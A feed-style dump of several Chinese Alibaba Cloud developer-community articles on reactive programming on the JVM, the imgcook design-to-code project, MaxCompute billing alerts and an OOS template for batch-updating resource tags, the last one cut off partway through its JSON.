        • 指令式编程:最常见的编程模式,平时写的代码基本都属于指令式编程。代码被按顺序一行一行执行,“按顺序”同时只可以使用各种条件、循环或者方法调用来让编译器按作者意图顺序执行代码。
        • 反应式编程:基于异步数据流的编程,可以动态的创建、改变和组合。(Reactive programming is programming with asynchronous data streams that can be created, changed or combined on the go)
        举个代码的例子

        举个现实的例子

        以汽车?来举例,

        • 指令式编程中,数组就像停车场一样,存放了不同的汽车,我们可以检查停车场,看到所有停放的汽车,依次记录当前停在停车场的所有汽车。
        • 反应式编程中,数据流Stream就像一条街道,汽车会出现在街道但会立即驶过,他们并没有停在那里。当我们观察街道时,只能看到汽车依次驶过,所以“记录汽车”在这个场景下是指持续观察一条定义好的道路。

        3.理论实践

        3.1 Reactive streams api

        java8 时代的开源jar包,在java9时代被正式引入java api。

        官网:https://www.reactive-streams.org/

        github:https://github.com/reactive-streams/reactive-streams-jvm/blob/v1.0.3/README.md

        简介

        Reactive Streams is an initiative to provide a standard for asynchronous stream processing with non-blocking back pressure. This encompasses efforts aimed at runtime environments (JVM and JavaScript) as well as network protocols.

        • 反应流(Reactive Streams)是一个对于 异步流处理且伴随非阻塞回压机制 而提供的标准。这个标准服务于运行时环境(JVM和Javascript)以及网络协议。

        目标、设计与适用范围

        Handling streams of data—especially “live” data whose volume is not predetermined—requires special care in an asynchronous system. The most prominent issue is that resource consumption needs to be carefully controlled such that a fast data source does not overwhelm the stream destination. Asynchrony is needed in order to enable the parallel use of computing resources, on collaborating network hosts or multiple CPU cores within a single machine.

        • 处理流式数据——尤其是量无法预估的实时数据时,在一个异步系统内要格外小心。
        • 最重要的问题是:资源的消耗需要被小心的控制,从而使一个快速发送的数据源不会淹没下游。
        • 需要异步的原因,是为了并行的使用资源,在多个主机或同一主机多个CPU核的场景下。

        The main goal of Reactive Streams is to govern the exchange of stream data across an asynchronous boundary – think passing elements on to another thread or thread-pool — while ensuring that the receiving side is not forced to buffer arbitrary amounts of data. In other words, backpressure is an integral part of this model in order to allow the queues which mediate between threads to be bounded.

        • 反应流的主要目标:控制横穿异步边界的流数据交换(例如从一个线程池向另一个线程池传递数据),同时要确保接收端不被强迫缓冲任意数量的大量数据。
        • 换句话说,后压(backpressure)是这个模型的一部分,目的是允许队列在被界定的线程之间进行调节。

        In summary, Reactive Streams is a standard and specification for Stream-oriented libraries for the JVM that

        • process a potentially unbounded number of elements
        • in sequence,
        • asynchronously passing elements between components,
        • with mandatory non-blocking backpressure.

        总之,反应流是jvm上面向流的库的一个标准和规范:

        • 处理一个潜在无限元素的数目
        • 依次处理
        • 异步地在组件之间传递元素
        • 必须强制有非阻塞后压

        3.2 Java9 Flow

        jdk9中集成,由reactive-stream-jvm发展而来。

        The interfaces available in JDK9’s java.util.concurrent.Flow, are 1:1 semantically equivalent to their respective Reactive Streams counterparts. This means that there will be a migratory period, while libraries move to adopt the new types in the JDK, however this period is expected to be short - due to the full semantic equivalence of the libraries, as well as the Reactive Streams <-> Flow adapter library as well as a TCK compatible directly with the JDK Flow types.

        jdk9中的java.util.concurrent.Flow是对Reactive Streams的完全对等实现,除了类名不同以外其他部分都可以做一对一迁移。

        Jdk9的Reactive Stream API(java.util.concurrent.Flow)只是一套接口,约定了Reactive编程的一套规范,并没有具体的实现。而实现了这个接口的产品有:RxJava、Reactor、Akka等,而Spring WebFlux中集成的是Reactor3.0。

        3.3 Reactive Extensions(Rx)

        目前 Java 平台上主流的反应式库有两个,分别是 Netflix 维护的 RxJava 和 Pivotal 维护的 Reactor。RxJava 是 Java 平台反应式编程的鼻祖。反应式流规范在很大程度上借鉴了 RxJava 的理念。

        由于 RxJava 的产生早于反应式流规范,与规范的兼容性并不是特别好。

        ReactiveX最初被微软应用在.NET上,而后慢慢的在衍生出了各种不同语言的实现,诸如RxSwift/RxJava/RxJS。

        Rx提供了一种新的组织和协调异步事件的方式,极大的简化了代码的编写。Rx最显著的特性是使用可观察集合(Observable Collection)来达到集成异步(composing asynchronous)和基于事件(event-based)的编程的效果。

         

        RxJava:https://github.com/ReactiveX/RxJava

        以RxJS角度分析Reactive Programming:https://blog.techbridge.cc/2016/05/28/reactive-programming-intro-by-rxjs/

        3.4 Reactor

        一种反应式编程框架。

        有两种模型,FluxMono,提供了非阻塞、支持回压机制的异步流处理能力。当数据生成缓慢时,整个流自然进入推送模式;而当生产高峰来临数据生产速度加快时,整个流又进入了拉取模式。Flux 可以触发 0 到多个事件,用于异步地处理流式的信息;Mono 至多可以触发一个事件,通常用于在异步任务完成时发出通知。Flux 和 Mono 之间可以相互转换。对一个 Flux 序列进行计数操作,得到的结果是一个 Mono对象,把两个 Mono 序列合并在一起,得到的是一个 Flux 对象。

        3.5 Spring5.0 WebFlux

        Spring5.0的新模块,基于Reactor框架。包含了反应式HTTP和WebSocket的支持。上层编程模型同时支持SpringMVC中基于Java注解方式以及Java8的lambda表达式的函数式编程模型。只在编码方式不同,运行时效果相同都在反应式底层架构之上。

        webflux的关键是自己编写的代码里面返回流(Flux/Mono),spring框架来负责处理订阅。

        与传统 Spring MVC 的区别在于,WebFlux 的请求和响应使用的都是 Flux 或 Mono 对象。一般的 REST API 使用 Mono 来表示请求和响应对象;服务器推送事件使用 Flux 来表示从服务器端推送的事件流;WebSocket 则使用 Flux 来表示客户端和服务器之间的双向数据传递。

        为了最大程度的发挥反应式流和负压的作用,WebFlux 应用的各个部分都应该是支持反应式的,也就是说各个部分都应该是异步非阻塞的。要做到这一点,需要其他的库提供支持,主要是与外部系统和服务整合的部分。

        比如在数据访问层,可以通过 Spring Data 的反应式支持来访问不同类型的数据源。当然这也需要底层驱动的支持。越来越多的数据源驱动已经提供了对反应式流规范的支持,还有很多开源库可以使用。

        3.6 Akka

        https://doc.akka.io/docs/akka/current/typed/guide/introduction.html

        一个基于反应式编程理念的全异步、高并发、可容错的事件驱动编程框架,构建于JVM上,支持java和scala开发。

        Actors 为你提供:

        • 对并发/并行程序的简单的、高级别的抽象。
        • 异步、非阻塞、高性能的事件驱动编程模型。
        • 非常轻量的事件驱动处理(1G内存可容纳数百万个actors)。

        容错性

        • 使用“let-it-crash”语义的监控层次体系。
        • 监控层次体系可以跨越多个JVM,从而提供真正的容错系统。
        • 非常适合编写永不停机、自愈合的高容错系统。

        位置透明性

        Akka的所有元素都为分布式环境而设计:所有actor只通过发送消息进行交互,所有操作都是异步的。

        持久性

        actor接收到的消息可以选择性的被持久化,并在actor启动或重启的时候重放。这使得actor能够恢复其状态,即使是在JVM崩溃或正在迁移到另外节点的情况下。

        4.优点与缺点

        了解了反应式编程原理,那使用反应式编程设计的优势和劣势是什么呢?

        StackOverflow上有相关话题讨论

        https://stackoverflow.com/questions/42062199/reactive-programming-advantages-disadvantages

        4.1 优点

        • 避免"callback hell"(callback hell是指在js中所有异步都需要靠回调实现,当异步过多时造成代码嵌套大量回调 http://callbackhell.com
        • 大幅简化异步和线程操作
        • 简单的组合数据流操作
        • 复杂的线程操作变得简单
        • 代码变得更清晰可读
        • 轻松地实现“回压”

        4.2 缺点

        • 流数据(Stream data)占据空间,系统中绝大多数时间存在大量流数据。
        • 编程习惯需要适应,一切指令式编程中“调用”概念皆转换为“流”
        • 宕机时内存中流数据丢失

        4.3 性能提高

        上个月《大型网站技术架构:核心原理与案例分析》的作者,目前腾讯云TVP李智慧刚在infoQ发表的文章

        《如何用反应式编程提升系统性能与可用性》

        介绍了基于Akka开发的全异步反应式框架Flower https://github.com/zhihuili/Flower

        文章中提供了理论依据以及相关性能优化测试数据。

        Flower 支持异步数据库驱动,用户请求数据库的时候,将请求提交给异步数据库驱动,立刻就返回,不会阻塞当前线程,异步数据库访问连接远程的数据库,进行真正的数据库操作,得到结果以后,将结果以异步回调的方式发送给 Flower 的 Service 进行进一步的处理,这个时候依然不会有线程被阻塞。也就是说使用 Flower 开发的系统,在一个典型的 Web 应用中,几乎没有任何地方会被阻塞,所有的线程都可以被不断的复用,有限的线程就可以完成大量的并发用户请求,从而大大地提高了系统的吞吐能力和响应时间,同时,由于线程不会被阻塞,应用就不会因为并发量太大或者数据库处理缓慢而宕机,从而提高了系统的可用性。

        全部异步化意味着更少线程切换、避免了线程阻塞,从而获得更好的执行性能。

         

        简单的举个例子来说,以前一个线程要做A、B、C三个方法,但是C存在IO阻塞(如数据库操作),当C方法延时高时,会使系统整体在阻塞状态的线程增多,A、B方法也受影响。

        但使用反应式编程概念,A、B、C三个方法都有各自的线程(或线程池)来处理,三个方法的触发使用数据流(也可称事件)串起来,则C的阻塞不会影响A、B的处理。

        参考资料

        《反应式编程概览》

        《Reactive programming 一种技术各自表述》

        《Java平台反应式编程入门》

        《Imperative vs Reactive》

        ]]>
        【云吞铺子】业务系统性能压测最佳实践(二)--业务压测注意事项-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 云吞铺子--双11最佳技术实践系列# 本期继续为大家带来阿里云在本次双11实战中沉淀的前沿经验和满满干货!由阿里云技术高手霄翎为您深度阐述云上业务压测全流程注意事项!大牛出品,必属精品!

        ]]>
        双 11 模块 79.34% 的代码是怎样智能生成的?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 image.png

        作者| 妙净、波本
        出品|阿里巴巴新零售淘系技术部

        导读:作为今年阿里经济体前端委员会的四大技术方向之一,前端智能化方向一被提及,就不免有人好奇:前端结合 AI 能做些什么,怎么做,未来会不会对前端产生很大的冲击等等。本篇文章将围绕这些问题,以「设计稿自动生成代码」场景为例,从背景分析、竞品分析、问题拆解、技术方案等几个角度切入,细述相关思考及过程实践。

        背景分析

        业界机器学习之势如火如荼,「AI 是未来的共识」频频出现在各大媒体上。李开复老师也在《AI·未来》指出,将近 50% 的人类工作将在 15 年内被人工智能所取代,尤其是简单的、重复性的工作。并且,白领比蓝领的工作更容易被取代;因为蓝领的工作可能还需要机器人和软硬件相关技术都突破才能被取代,而白领工作一般只需要软件技术突破就可以被取代。那我们前端这个“白领”工作会不会被取代,什么时候能被取代多少?

        image.png

        回看 2010 年,软件几乎吞噬了所有行业,带来近几年软件行业的繁荣;而到了 2019 年,软件开发行业本身却又在被 AI 所吞噬。你看:DBA 领域出现了 Question-to-SQL,针对某个领域只要问问题就可以生成 SQL 语句;基于机器学习的源码分析工具 TabNine 可以辅助代码生成;设计师行业也出了 P5 Banner 智能设计师“鹿班”,测试领域的智能化结合也精彩纷呈。那前端领域呢?

        那就不得不提一个我们再熟悉不过的场景了,它就是设计稿自动生成代码(Design2Code,以下简称 D2C),阿里经济体前端委员会-前端智能化方向当前阶段就是聚焦在如何让 AI 助力前端这个职能角色提效升级,杜绝简单重复性工作,让前端工程师专注更有挑战性的工作内容!

        竞品分析

        2017 年,一篇关于图像转代码的 Pix2Code 论文掀起了业内激烈讨论的波澜,讲述如何从设计原型直接生成源代码。随后社区也不断涌现出基于此思想的类似 Screenshot2Code 的作品,2018 年微软 AI Lab 开源了草图转代码 工具 Sketch2Code,同年年底,设计稿智能生成前端代码的新秀 Yotako 也初露锋芒, 机器学习首次以不可小觑的姿态正式进入了前端开发者的视野。

        image.png

        基于上述竞品分析,我们能够得到以下几点启发:

        1、深度学习目前在图片方面的目标检测能力适合较大颗粒度的可复用的物料识别(模块识别、基础组件识别、业务组件识别)。

        2、完整的直接由图片生成代码的端到端模型复杂度高,生成的代码可用度不高,要达到所生成代码工业级可用,需要更细的分层拆解和多级子网络模型协同,短期可通过设计稿生成代码来做 D2C 体系建设。

        3、当模型的识别能力无法达到预期准确度时,可以借助设计稿人工的打底规则协议;一方面人工规则协议可以帮助用户强干预得到想要的结果,另一方面这些人工规则协议其实也是高质量的样本标注,可以当成训练样本优化模型识别准确度。

        问题分解

        设计稿生成代码的目标是让 AI 助力前端这个职能角色提效升级,杜绝简单重复性工作内容。那我们先来分析下,“常规”前端尤其是面向 C 端业务的同学,一般的工作流程日常工作内容大致如下:

        image.png

        “常规”前端一般的开发工作量,主要集中在视图代码、逻辑代码和数据联调(甚至是数据接口开发,研发 Serveless 产品化时可期)这几大块,接下来,我们逐块拆解分析。

        视图代码

        视图代码研发,一般是根据视觉稿编写 HTML 和 CSS 代码。如何提效,当面对 UI 视图开发重复性的工作时,自然想到组件化、模块化等封装复用物料的解决方案,基于此解决方案会有各种 UI 库的沉淀,甚至是可视化拼装搭建的更 High Level 的产品化封装,但复用的物料不能解决所有场景问题。个性化业务、个性化视图遍地开花,直面问题本身,直接生成可用的 HTML 和 CSS 代码是否可行?

        image.png

        这是业界一直在不断尝试的命题,通过设计工具的开发插件可以导出图层的基本信息,但这里的主要难点还是对设计稿的要求高、生成代码可维护性差,这是核心问题,我们来继续拆解。

        ▐ 设计稿要求高问题

        对设计稿的要求高,会导致设计师的成本加大,相当于前端的工作量转嫁给了设计师,导致推广难度会非常大。一种可行的办法是采用 CV(ComputerVision, 计算机视觉) 结合导出图层信息的方式,以去除设计稿的约束,当然对设计稿的要求最好是直接导出一张图片,那样对设计师没有任何要求,也是我们梦寐以求的方案,我们也一直在尝试从静态图片中分离出各个适合的图层,但目前在生产环境可用度不够(小目标识别精准度问题、复杂背景提取问题仍待解决),毕竟设计稿自带的元信息,比一张图片提取处理的元信息要更多更精准。

        ▐ 可维护性问题

        生成的代码结构一般都会面临可维护性方面的挑战:

        • 合理布局嵌套:包括绝对定位转相对定位、冗余节点删除、合理分组、循环判断等方面;
        • 元素自适应:元素本身扩展性、元素间对齐关系、元素最大宽高容错性;
        • 语义化:Classname 的多级语义化;
        • 样式 CSS 表达:背景色、圆角、线条等能用 CV 等方式分析提取样式,尽可能用 CSS 表达样式代替使用图片;

        将这些问题拆解后,分门别类专项解决,解决起来看似没完没了,但好在目前发现的大类问题基本解决。很多人质疑道,这部分的能力的实现看起来和智能化一点关系都没有,顶多算个布局算法相关的专家规则测量系统。没错,现阶段这部分比较适合规则系统,对用户而言布局算法需要接近 100% 的可用度,另外这里涉及的大部分是无数属性值组合问题,当前用规则更可控。如果非要使用模型,那这个可被定义为多分类问题。同时,任何深度学习模型的应用都是需要先有清晰的问题定义过程,把问题规则定义清楚本就是必备过程。

        但在规则解决起来麻烦的情况下,可以使用模型来辅助解决。比如 合理分组(如下图) 和 循环项 的判断,实践中我们发现,在各种情况下还是误判不断,算法规则难以枚举,这里需要跨元素间的上下文语义识别,这也是接下来正在用模型解决的重点问题。

        image.png

        逻辑代码

        逻辑代码开发主要包括数据绑定、动效、业务逻辑代码编写。可提效的部分,一般在于复用的动效和业务逻辑代码可沉淀基础组件、业务组件等。

        • 接口字段绑定:从可行性上分析还是高的,根据视觉稿的文本或图片判断所属哪个候选字段,可以做,但性价比不高,因为接口数据字段绑定太业务,通用性不强。
        • 动效:这部分的开发输入是交互稿,而且一般动效的交付形式各种各样参差不齐,有的是动画 gif 演示,有的是文字描述,有的是口述;动效代码的生成更适合用可视化的形式生成,直接智能生成没有参考依据,考虑投入产出比不在短期范围内。
        • 业务逻辑:这部分开发的依据来源主要是 PRD,甚至是 PD 口述的逻辑;想要智能生成这部分逻辑代码,欠缺的输入太多,具体得看看智能化在这个子领域能解决什么问题。

        ▐ 逻辑代码生成思考

        理想方案当然是能像其他诗歌、绘画、音乐等艺术领域一样,学习历史数据,根据 PRD 文本输入,新逻辑代码能直接生成,但这样生成的代码能直接运行没有任何报错吗?

        image.png

        目前人工智能虽说发展迅速,但其能解决的问题还是有限,需要将问题定义成其擅长解决的问题类型。强化学习擅长策略优化问题,深度学习目前在计算机视觉方面擅长解决的是分类问题、目标检测问题,文本方面擅长 NLP(Natural Language Processing, 自然语言处理) 等。

        关于业务逻辑代码,首先想到的是对历史源代码的函数块利用 LSTM(Long Short-Term Memory, 长短期记忆网络)和 NLP 等进行上下文分析,能得到代码函数块的语义,VS Code 智能代码提醒 和 TabNine 都是类似的思路。

        另外,在分析问题中(如下图)我们还发现,智能化在业务逻辑领域还可以协助识别逻辑点在视图出现的位置(时机),并根据视图猜测出的逻辑语义。

        image.png

        综上,我们总结一下智能化现阶段的可助力点:

        • 由历史源代码分析猜测高频出现的函数块(逻辑块)的语义,实际得到的就是组件库或者基础函数块的语义,可在代码编辑时做代码块推荐等能力。
        • 由视觉稿猜测部分可复用的逻辑点,如这里的字段绑定逻辑,可根据这里文本语义 NLP 猜测所属字段,部分图片元素根据有限范围内的图片分类,猜测所属对应的图片字段(如下图示例中的,氛围修饰图片还是 Logo 图片);同时还可以识别可复用的业务逻辑组件,比如这里的领取优惠券逻辑。

        所以,现阶段在业务逻辑生成中,可以解决的问题比较有限,尤其是新的业务逻辑点以新的逻辑编排出现时,这些参考依据都在 PD 的 PRD 或脑海中。所以针对业务逻辑的生成方案,现阶段的策略主要如下:

        • 字段绑定:智能识别设计稿中的文本和图片语义分类,特别是文字部分。
        • 可复用的业务逻辑点:根据视图智能识别,并由视图驱动自由组装,含小而美的逻辑点(一行表达式、或一般不足以封装成组件的数行代码)、基础组件、业务组件。
        • 无法复用的新业务逻辑:PRD 需求结构化(可视化)收集,这是一个高难度任务,还在尝试中。

        小结

        目前用智能化的方式自动生成 HTML + CSS + 部分 JS + 部分 DATA 的主要分析如上,是Design to Code 的主要过程 ,内部项目名称叫做 D2C ,后续系列文章会使用此简称,集团内外的落地产品名称为 imgcook。随着近几年主流设计工具(Sketch、PS、XD 等)的三方插件开发能力逐渐成熟,飞速发展的深度学习那甚至超过人类识别效果的趋势,这些都是 D2C 诞生和持续演进的强大后盾。

        image.png

        目标检测 2014-2019 年 paper

        技术方案

        基于上述前端智能化发展概括分析,我们对现有的 D2C 智能化技术体系做了能力概述分层,主要分为以下三部分:

        • 识别能力:即对设计稿的识别能力。智能从设计稿分析出包含的图层、基础组件、业务组件、布局、语义化、数据字段、业务逻辑等多维度的信息。如果智能识别不准,就可视化人工干预补充纠正,一方面是为了可视化低成本干预生成高可用代码,另一方面这些干预后的数据就是标注样本,反哺提升智能识别的准确率。
        • 表达能力:主要做数据输出以及对工程部分接入

        通过 DSL 适配将标准的结构化描述做 Schema2Code

        通过 IDE 插件能力做工程接入

        • 算法工程:为了更好的支撑 D2C 需要的智能化能力,将高频能力服务化,主要包含数据生成处理、模型服务部分

        样本生成:主要处理各渠道来源样本数据并生成样本

        模型服务:主要提供模型 API 封装服务以及数据回流

        image.png

        前端智能化 D2C 能力概要分层

        在整个方案里,我们用同一套 数据协议规范(D2C Schema)来连接各层的能力,确保其中的识别能够映射到具体对应的字段上,在表达阶段也能正确地通过出码引擎等方案生成代码。

        智能识别技术分层

        在整个 D2C 项目中,最核心的是上述识别能力部分的 机器智能识别 部分,这层的具体再分解如下,后续系列文章会围绕这些细分的分层展开内部实现原理。

        • 物料识别层:主要通过图像识别能力识别图像中的物料(模块识别、原子模块识别、基础组件识别、业务组件识别)。
        • 图层处理层:主要将设计稿或者图像中图层进行分离处理,并结合上一层的识别结果,整理好图层元信息。
        • 图层再加工层:对图层处理层的图层数据做进一步的规范化处理。
        • 布局算法层:转换二维中的绝对定位图层布局为相对定位和 Flex 布局。
        • 语义化层:通过图层的多维特征对图层在生成代码端做语义化表达。
        • 字段绑定层:对图层里的静态数据结合数据接口做接口动态数据字段绑定映射。
        • 业务逻辑层:对已配置的业务逻辑通过业务逻辑识别和表达器来生成业务逻辑代码协议。
        • 出码引擎层:最后输出经过各层智能化处理好的代码协议,经过表达能力(协议转代码的引擎)输出各种 DSL 代码。

        image.png

        D2C 识别能力技术分层

        技术痛点

        当然,这其中的 识别不全面、识别准确度不高 一直是 D2C 老生常谈的话题,也是我们的核心技术痛点。我们尝试从这几个角度来分析引起这个问题的因素:

        1、识别问题定义不准确:问题定义不准确是影响模型识别不准的首要因素,很多人认为样本和模型是主要因素,但在这之前,可能一开始的对问题的定义就出现了问题,我们需要判断我们的识别诉求模型是否合适做,如果合适那该怎么定义清楚这里面的规则等。

        2、高质量的数据集样本缺乏:我们在识别层的各个机器智能识别能力需要依赖不同的样本,那我们的样本能覆盖多少前端开发场景,各个场景的样本数据质量怎么样,数据标准是否统一,特征工程处理是否统一,样本是否存在二义性,互通性如何,这是我们当下所面临的问题。

        3、模型召回低、存在误判:我们往往会在样本里堆积许多不同场景下不同种类的样本作为训练,期望通过一个模型来解决所有的识别问题,但这却往往会让模型的部分分类召回率低,对于一些有二义性的分类也会存在误判。

        ▐ 问题定义

        深度学习里的计算机视觉类模型目前比较适合解决的是分类问题和目标检测问题,我们判断一个识别问题是否该使用深度模型的前提是——我们自己是否能够判断和理解,这类问题是否有二义性等,如果人也无法准确地判断,那么这个识别问题可能就不太合适。

        假如判断适合用深度学习的分类来做,那就需要继续定义清楚所有的分类,这些分类之间需要严谨、有排他性、可完整枚举。比如在做图片的语义化这个命题的时候,一般图片的 ClassName 通用常规命名有哪些,举个例子,其分析过程如下:

        image.png

        • 第一步:尽可能多地找出相关的设计稿,一个个枚举里面的图片类型。
        • 第二步:对图片类型进行合理归纳归类,这是最容易有争论的地方,定义不好有二义性会导致最有模型准确度问题。
        • 第三步:分析每类图片的特征,这些特征是否典型,是否是最核心的特征点,因为关系到后续模型的推理泛化能力。
        • 第四步:每类图片的数据样本来源是否有,没有的话能否自动造;如果数据样本无法有,那就不适合用模型,可以改用算法规则等方式替代先看效果。

        D2C 项目中很多这样的问题,问题本身的定义需要非常精准,并且需要有科学的参考依据,这一点本身就比较难,因为没有可借鉴的先例,只能先用已知的经验先试用,用户测试有问题后再修正,这是一个需要持续迭代持续完善的痛点。

        ▐ 样本质量

        针对 样本 问题,我们需要对这部分数据集建立标准规范,分场景构建多维度的数据集,将收集的数据做统一的处理和提供,并以此期望能建立一套规范的数据体系。

        在这套体系中,我们使用统一的样本数据存储格式,提供统一的针对不同问题(分类、目标检测)的样本评估工具来评估各项数据集的质量,针对部分特定模型可采取效果较好的特征工程(归一化、边缘放大等)来处理,同类问题的样本也期望能在后续不同的模型里能够流通作比较,来评估不同模型的准确度和效率。

        image.png

        数据样本工程体系

        ▐ 模型

        针对模型的召回和误判问题,我们尝试 收敛场景来提高准确度。往往不同场景下的样本会存在一些特征上的相似点或者影响部分分类局部关键特征点,导致产生误判、召回低,我们期望能够通过收敛场景来做模式化的识别,提高模型准确度。我们把场景收敛到如下三个场景:无线 C 端营销频道场景、小程序场景以及 PC 中后台场景。这里面几个场景的设计模式都有自己的特色,针对各个场景来设计垂直的识别模型可以高效地提高单一场景的识别准确度。

        image.png

        D2C 场景

        过程思考

        既然使用了深度模型,有一个比较现实的问题是,模型的泛化能力不够,识别的准确率必然不能 100% 让用户满意,除了能够在后续不断地补充这批识别不到的样本数据外,在这之前我们能做什么?

        在 D2C 的整个还原链路里,对于识别模型,我们还遵守一个方法论,即设计一套协议或者规则能通过其他方式来兜底深度模型的识别效果,保障在模型识别不准确的情况下用户仍可完成诉求:手动约定 > 规则策略 > 机器学习 > 深度模型。举个例子比如需要识别设计稿里的一个循环体:

        • 初期,我们可以在设计稿里手动约定循环体的协议来达成
        • 根据图层的上下文信息可做一些规则的判断,来判断是否是循环体
        • 利用机器学习的图层特征,可尝试做规则策略的更上游的策略优化
        • 生成循环体的一些正负样本来通过深度模型进行学习

        其中手动约定的设计稿协议解析优先级最高,这样也能确保后续的流程不受阻塞和错误识别的干扰。

        业务落地

        2019 双十一落地

        在今年的双十一场景中,我们的 D2C 覆盖了天猫淘宝会场的新增模块,包括主会场、行业会场、营销玩法会场、榜单会场等,包含了视图代码和部分逻辑代码的自动生成,在可统计范围内,D2C 代码生成占据了大比例。目前代码的人工改动的主要原因有:全新业务逻辑、动画、字段绑定猜测错误(字段标准化情况不佳)、循环猜测错误、样式自适应修改等,这些问题也都是接下来需要逐步完善的。

        image.png

        D2C 代码生成用户更改情况

        整体落地情况

        我们对外的产品 imgcook,截止 2019.11.09 日,相关的使用数据情况如下:

        • 模块数 12681 个, 周新增 540 个左右;
        • 用户数 4315 个,周新增 150 个左右;
        • 自定义DSL:总数 109 个;

        目前可提供的服务能力如下:

        • 设计稿全链路还原:通过 Sketch、PhotoShop 插件一键导出设计稿图层,生成自定义的 DSL 代码。
        • 图像链路还原:支持用户自定义上传图片、文件或填写图片链接,直接还原生成自定义的 DSL 代码。

        后续规划

        • 继续降低设计稿要求,争取设计稿 0 协议,其中分组、循环的智能识别准确度提升,减少视觉稿协议的人工干预成本。
        • 组件识别准确度提升,目前只有 72% 的准确度,业务应用可用率低。
        • 页面级和项目级还原能力可用率提升,依赖页面分割能力的准确度提升。
        • 小程序、中后台等领域的页面级还原能力提升,含复杂表单、表格、图表的整体还原能力。
        • 静态图片生成代码链路可用度提升,真正可用于生产环境。
        • 算法工程产品完善,样本生成渠道更多元,样本集更丰富。
        • D2C 能力开源。

        未来我们希望能通过前端智能化 D2C 项目,让前端智能化技术方案普惠化,沉淀更具竞争力的样本和模型,提供准确度更高、可用度更高的代码智能生成服务;切实提高前端研发效率,减少简单的重复性工作,不加班少加班,一起专注更有挑战性的工作内容!

        感兴趣的同学可加入钉钉群一起交流:21909696

        D2智能化专场

        今年的 D2 智能化专场将通过行业的应用案例和实践经验的风向,让大家对智能化改变前端有切实的感受,欢迎大家来一起探讨。

        Tensorflow.js 前端的机器学习平台

        演讲嘉宾:王铁震
        话题介绍:TensorFlow.js 是谷歌开发的机器学习加速平台。这个库用于在浏览器、Node.js 和其他 JavaScript 平台中训练和部署机器学习模型,为 JavaScript 开发者提供了简洁高效的API。在本讲中,您将了解到 TensorFlow.js 生态系统,如何将现有的机器学习模型植入到前端,同时还会探讨进一步优化的方式,未来发展的方向。

        前端智能化实践 - 逻辑代码生成

        演讲嘉宾:甄子
        话题介绍:从生成UI代码到生成逻辑代码有多远?如何用页面结构和数据结构的视角去看待并解决代码生成问题?如何赋予开发者自定义的能力来解决业务问题?用实践检验前端智能化的力量,用设计去论证前端智能化的未来,诚邀您一起探讨前端在机器学习和人工智能领域的发展。

        数据分析的人工智能画板 - 马良

        演讲嘉宾:言顾
        话题介绍:随着越来越多的企业重视数据可视化,通过降低工程门槛来帮助用户创建可视化大屏成为当前的一大趋势。然而除了工程成本,数据可视化的设计效率,极大影响着数据挖掘的效率。在此之上,由于多方技术人员的参与,沟通成本过大,导致流程耗时久,且难以迭代,极大限制了潜在用户以及潜在的可适用场景。对可视化大屏搭建平台来说,急需一款产品能够提高用户的数据可视设计能力,让用户突破模版限制,轻松创造属于自己的个性化大屏。

        更多技术干货,关注「淘系技术」微信公众号!

        image.png

        ]]>
        MaxCompute按量计费计算任务消费监控告警-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 MaxCompute 按量计费资源为弹性伸缩资源,对于计算任务,按任务需求提供所需资源,对资源使用无限制,同时MaxCompute按量计费的账单为天账单,即当天消费需要第二天才出账,因此,有必要对计算任务的消费进行监控以免超预期消费而不可知。

        本文将介绍如何通过云监控配置MaxCompute按量计费计算任务消费监控告警。

        背景知识:

        • 云监控统计计算消费主要为标准SQL和MapReduce计算任务消费(纯资源使用消费):

          单SQL费用统计公式:扫描量(GB)️ ️* 复杂度️ * 单价
          单MapReduce费用统计公式:计算时️ ️* 单价
        • 计算消费按Project为单位,统计日、月累计消费。

        更多监控指标说明请参考文档 管理->监控报警

        监控需求:
        MaxCompute按量计费每个Project SQL、MR日消费达到0.01¥(为了演示效果配置很低的阈值),则通过短信、钉钉、邮件发送告警通知。

        配置步骤:

        image

        配置报警联系组
        image

        接收到钉钉机器人和邮件告警如下:

        image

        image

        ]]>
        基于OOS批量修改资源标签值-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 场景

        当资源上有个标签键: 部门,标签值:零售,由于部门资源整合要把标签(键: 部门,值:零售)修改为标签(键: 部门,值:新零售),如何快速批量修改标签呢?

        背景信息

        运维编排服务OOS通过模板定义您需要编排的运维任务。模板内容支持YAML和JSON两种格式,模版分为公共模版和自定义模版两种类型。为了方便您快速使用OOS,OOS提供了公共模板供您直接使用和参考。。在使用模板前您需要仔细审查模板所要执行的运维任务,并优先在测试环境观察使用效果。

        您也可以编写自定义模板来编写您所需要的运维任务。更多详情,请参见模板结构。本文中的TagResourcesFilterByTags是自定义模板

        操作步骤

        登录ECS管理控制台
        在左侧导航栏,选择 运维与监控 > 运维编排
        在顶部状态栏处,选择地域
        选择 我的模板 点击 创建模版
        选择JSON
        以下示例是针对ecs实例及redis实例进行标签值的更新
        operateId : 操作ID,区分每次操作使用
        tagKey:标签键,用来过滤资源
        tagValue:标签值,用来过滤资源
        tagKey:标签键,要修改目标标签键
        newTagValue:新标签值,要修改后的标签值

        {
            "Description": "根据标签查找资源并更新标签",
            "FormatVersion": "OOS-2019-06-01",
            "Parameters": {
                "operateId": {
                    "Description": "操作ID,调用者自定义",
                    "Type": "String",
                    "MinLength": 1,
                    "MaxLength": 64
                },
                "tagKey": {
                    "Description": "当前key",
                    "Type": "String",
                    "MinLength": 1,
                    "MaxLength": 64
                },
                "tagValue": {
                    "Description": "当前value",
                    "Type": "String",
                    "MinLength": 1,
                    "MaxLength": 64
                },
                "newTagValue": {
                    "Description": "更新后value",
                    "Type": "String",
                    "MinLength": 1,
                    "MaxLength": 64
                }
            },
            "Tasks": [
                {
                    "Name": "DescribeInstances_ECS",
                    "Action": "ACS::ExecuteAPI",
                    "Description": {
                        "zh-cn": "通过标签过滤ECS实例",
                        "en": "filter ecs instances by tags"
                    },
                    "Properties": {
                        "Service": "ECS",
                        "API": "DescribeInstances",
                        "AutoPaging": true,
                        "Parameters": {
                            "Tags": [
                                {
                                    "Key": "{{ tagKey }}",
                                    "Value": "{{ tagValue }}"
                                }
                            ]
                        }
                    },
                    "Outputs": {
                        "Instances": {
                            "Type": "List",
                            "ValueSelector": "Instances.Instance[].InstanceId"
                        }
                    }
                },
                {
                    "Name": "TagResources_ECS_Instances",
                    "Action": "ACS::ExecuteAPI",
                    "Description": {
                        "zh-cn": "更新ECS实例标签",
                        "en": "tag ecs instances"
